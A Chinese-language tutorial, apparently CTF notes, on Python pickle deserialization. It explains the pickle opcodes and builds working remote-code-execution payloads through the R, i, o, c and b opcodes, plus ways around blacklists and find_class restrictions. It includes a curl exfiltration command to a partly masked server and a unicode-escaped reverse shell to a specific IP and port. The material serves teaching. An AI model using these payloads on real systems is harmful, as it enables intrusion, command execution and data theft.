Pickle反序列化
可被序列化的目标:
- None,True,False
- 整数,浮点数,复数
- str,byte,bytearray
- 只包含可序列化对象的集合:tuple,list,set,dict
- 定义在模块最外层的函数,指使用def定义的函数,而不是lambda
- 定义在模块最外层的内置函数
- 定义在模块最外层的类
__dict__属性值或者__getstate__()函数返回值可以被序列化的类
反序列化过程
pickle反序列化依靠PVM(Pickle Virtual Machine)进行。 其涉及三个部分:
- 解析引擎
- 存放到栈
- 存储到内存
解析引擎:从流中读取opcode和参数,对其进行解释处理,直到遇到
.停止,最后留在栈顶的值就是反序列化对象。 栈:由list实现,存储临时对象,参数以及对象 内存memo:由dict实现,为PVM的生命周期提供存储,即将反序列化完成的数据以key-value的形式存在memo中以供后面使用。
opcode
pickle在由不同的实现版本,在py2和3得到的opcode不相同,但各个版本可以向下兼容。目前有六个版本:
import pickle
a={'1': 1, '2': 2}
print(f'# 原变量:{a!r}')
for i in range(4):
print(f'pickle版本{i}',pickle.dumps(a,protocol=i))
# 原变量:{'1': 1, '2': 2}
pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.'
pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本4 b'\x80\x04\x95\x11\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x011\x94K\x01\x8c\x012\x94K\x02u.'
pickle3版本opcode示例:
原数据:abcd
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'
\x80:协议头声明,读取此字符串后,会再读取一个字节\x03:协议版本\x04\x00\x00\x00:数据长度:4abcd数据q存储在栈顶的字符串长度\x00栈顶位置,一个字节.数据截止
b'\x80\x03c__main__\nStudent\n)\x81}(Vname\nVrxz\nVgrade\nVG2\nub.'
c:GLOBAL操作符,连续读取两个字符串,分别作为module和name,以\n分割,然后把module.name压入栈。注意此操作符使用find_class函数,作用为从x模块找到y,且只能在y在x顶层情况下找到y):将一个空的元组tuple压入当前栈\x81:从栈中先弹出一个元素,记为args;再弹出一个元素记为cls,接下来执行cls.__new__(cls,*arg),然后把得到的内容压入栈。即弹出参数和类,利用这个参数实例化类。}:将一个空dist压入栈(:MARK操作符,load_mark;将当前栈作为一个list,压进前序栈;然后把当前栈清空。V:读入字符串,以\n结尾,压入栈。u:调用pop_mark,记录当前栈为list,在load_mark结束后返回;弹出前序栈栈顶,用list覆盖前序栈。执行之后结果:arr=['name','rxz','grade','G2'],当前栈为__main__.Sudent类和空dict;拿到当前栈的末尾元素,必须为dict,两个一组读取arr里的元素,前者为key后者为value存入dict。得到{'name': 'rxz', 'grade': 'G2'},现在栈里面有一个实例一个字典b:将当前栈栈顶存进state,弹出;当前栈栈顶为inst,弹出;用state的值更新实例inst;压入栈。此处使用的方法为:如果inst有__setstate__方法,直接交给方法,否则把state中的字典合并到inst.__dict__.:结束;最后得到的结果是__main__.Sudent,其name值为rxz,grade值是G2t:寻找栈中的上一个mark,并组合之间的数据为元组S:实例化一个字符串对象
pickle0版本部分opcode:

b'Vabcd\np0\n.'
V:unicode编码p:将堆栈最上面的项目复制到memo中
使用pickletools将opcode转换为易于读取的形式
import pickletools
data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)
0: \x80 PROTO 3
2: c GLOBAL 'builtins exec'
17: q BINPUT 0
19: X BINUNICODE "key1=b'1'\nkey2=b'2'"
43: q BINPUT 1
45: \x85 TUPLE1
46: q BINPUT 2
48: R REDUCE
49: q BINPUT 3
51: . STOP
highest protocol among opcodes = 2
利用方法
R指令
原理
大多数题目利用__reduce__方法,其指令码为R,作用为:
- 取栈顶元素为
args,弹出 - 取栈顶为
f,弹出 arg为参数,执行f,结果压入栈
此方法会在反序列化的时候执行,f会返回字符串或元组。
选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数
b'''cos
system
(S'whoami'
tR.'''
利用此方法构造恶意字符串:
class Student():
def __init__(self):
self.name = "rxz"
self.grade = "G2"
def __reduce__(self):
return os.system, ("ls /",)
a = pickle.dumps(Student(), protocol=3)
绕过方式
- 如果黑名单没禁全,尝试`platform.popen(cmd, mode=‘r’, bufsize=-1)
- 使用
map
class Exploit(object):
def __reduce__(self):
return map,(os.system,["ls"])
i指令码
b'''(S'whoami'
ios
system
.'''
先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)。
0: ( MARK
1: S STRING 'whoami'
11: i INST 'os system' (MARK at 0)
22: . STOP
o指令码
b'''(cos
system
S'whoami'
o.'''
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)。
0: ( MARK
1: c GLOBAL 'os system'
12: S STRING 'whoami'
22: o OBJ (MARK at 0)
23: . STOP
c指令码
原理
class Student():
def __init__(self):
self.name = "rxz"
self.grade = "G2"
def check(data):
if b'R' in data:
return 0
x = pickle.loads(data)
if x != Student(blue.name,blue.grade):
return 0
return 1
c指令码的作用是获取全局变量,故而可以通过替换rxz为blue.name即可
换成指令是cblue\nname\n。
原本是b'\x80\x03c__main__\nStudent\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00rxzq\x04X\x05\x00\x00\x00gradeq\x05X\x02\x00\x00\x00G2q\x06ub.'
最后结果是b'\x80\x03c__main__\nStudent\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00namecblue\nname\nq\x04X\x05\x00\x00\x00gradeq\x05X\x02\x00\x00\x00G2q\x06ub.'
绕过
如果题目对c指令进行了限制,只允许包含__main__这一个模块,则可以使用变量覆盖。
通过此指令引入的变量,可以看作是原变量的引用,从栈上修改他,也会修改原变量。
- 先通过
__main__.blue引入这个module - 然后把一个dict压入栈,内容为
{'name': 'rua', 'grade': 'www'} - 执行
b指令,会改写__main__.blue.name和__main__.blue.grade,因此两个变量的值都变为了预期值,后面再正常压入Student对象即可 结果:b'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'
b指令RCE
原理
执行build时,当inst拥有__setstate__方法时,把state交给他处理,否则合并到元组内。
所以可以先用build写入{'__setstate__': os.system},把对象的__setstate__变为os.system,接下来利用"ls /"再build对象,会执行__setstate__("ls /"),从而达成RCE。
payload:b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb.'
执行完代码后清空栈,再压入一个正常的类即可防止报错
payload:b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'
绕过
针对重写find_class的,可以利用sys.module获取危险函数。
sys.module是一个全局字典,字典的键是模块名,值是模块本身。
所以可以通过get(sys.modules,"moduleName")获取危险模块。
print(sys.modules)
# 输出全部模块
最终需要构造的payload是:builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.golbals(),'builtins'),'eval')(command)
写成opcode:
b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''
其他
- 其他模块的load也可能触发pickle反序列化,如
numpy.load(),使用numpy自身的数据失败后,可以尝试用pickle的格式导入。 - 即使代码里面没有
import os,GLOBAL指令也会自动导入。 - 无回显时执行
os.system('curl your_server/`ls / | base64`)即可在日志中查看结果。 payload:
b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVcurl 47.***.***.105/`ls / | base64`\nb.'
绕过各种限制的方式和jail一样 如双写
pk = pickle.dumps(yourobject)
pk = pk.replace(b'os', b'ooss')
字符串拼接
class A(object):
def __reduce__(self):
return eval,("__import__('o'+'s').system('env |tee b')",)
其他:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
检测的是a有无riob,但是运行时还是ser_data,利用o和s连用组成os,替换为Os绕过
反弹shell用到i,会被检测,所以用V,能识别unicode编码
b'''(cos
system
V'\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0031\u0033\u0039\u002e\u0032\u0032\u0034\u002e\u0031\u0033\u0030\u002e\u0031\u0038\u0033\u002f\u0031\u0030\u0030\u0030\u0032\u0020\u0030\u003e\u0026\u0031'
os.'''
因为s的作用是从堆栈中弹出三个值,一个字典,一个键和值。键/值条目是添加到字典,它被推回到堆栈上,所以前面需要添加一个字典和一个键:
b'''(S'ba'
S'ss'
dS'sdasda'
(cos
system
V'\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0031\u0033\u0039\u002e\u0032\u0032\u0034\u002e\u0031\u0033\u0030\u002e\u0031\u0038\u0033\u002f\u0031\u0030\u0030\u0030\u0032\u0020\u0030\u003e\u0026\u0031'
os.'''
手写opcode
三种print的方法:
# __import__("builtins").print('a', 'b')
R = b'''cbuiltins
print
(S'a'
S'b'
tR.
'''
o = b'''(cbuiltins
print
S'a'
S'b'
o.
'''
i = b'''(S'a'
S'b'
ibuiltins
print
.
'''
例:执行系统命令:
builtins.getattr(builtins, 'eval')("__import__('os').system('pwd')")
用到c指令导入的有builtins.getattr和builtins,但pickle不能直接获取builtins一级模块,所以builtins不能直接导入,需要用:
builtins.getattr(builtins.dict, 'get')(builtins.globals(), 'builtins')获取。
组合得到:
builtins.getattr(builtins.getattr(builtins.dict, 'get')(builtins.globals(), 'builtins'), 'eval')("__import__('os').system('pwd')")
分层编写opcode:
最内层function("__import__('os').system('pwd')")
b'''(
S'__import__('os').system('pwd')'
o.
'''
然后是最外层的builtins.getattr
b'''(
///////
(cbuiltins
getattr
arg1
S'eval'
o
///////
S'__import__('os').system('pwd')'
o.
'''
补全arg1,从内层开始`(builtins.globals(), ‘builtins’)
b'''((cbuiltins
getattr
///////
(cbuiltins
globals
o
S'builtins'
///////
S'eval'
o
S'__import__('os').system('pwd')'
o.
'''
pickletools.dis(test)
最后是builtins.getattr(builtins.dict, 'get')
b'''((cbuiltins
getattr
(
///////
(cbuiltins
getattr
cbuiltins
dict
S'get'
o
///////
(cbuiltins
globals
o
S'builtins'
o
S'eval'
o
S'__import__('os').system('pwd')'
o.
'''
最终payload:
b'''((cbuiltins
getattr
((cbuiltins
getattr
cbuiltins
dict
S'get'
o(cbuiltins
globals
oS'builtins'
oS'eval'
oS'__import__('os').system('whoami')'
o.
'''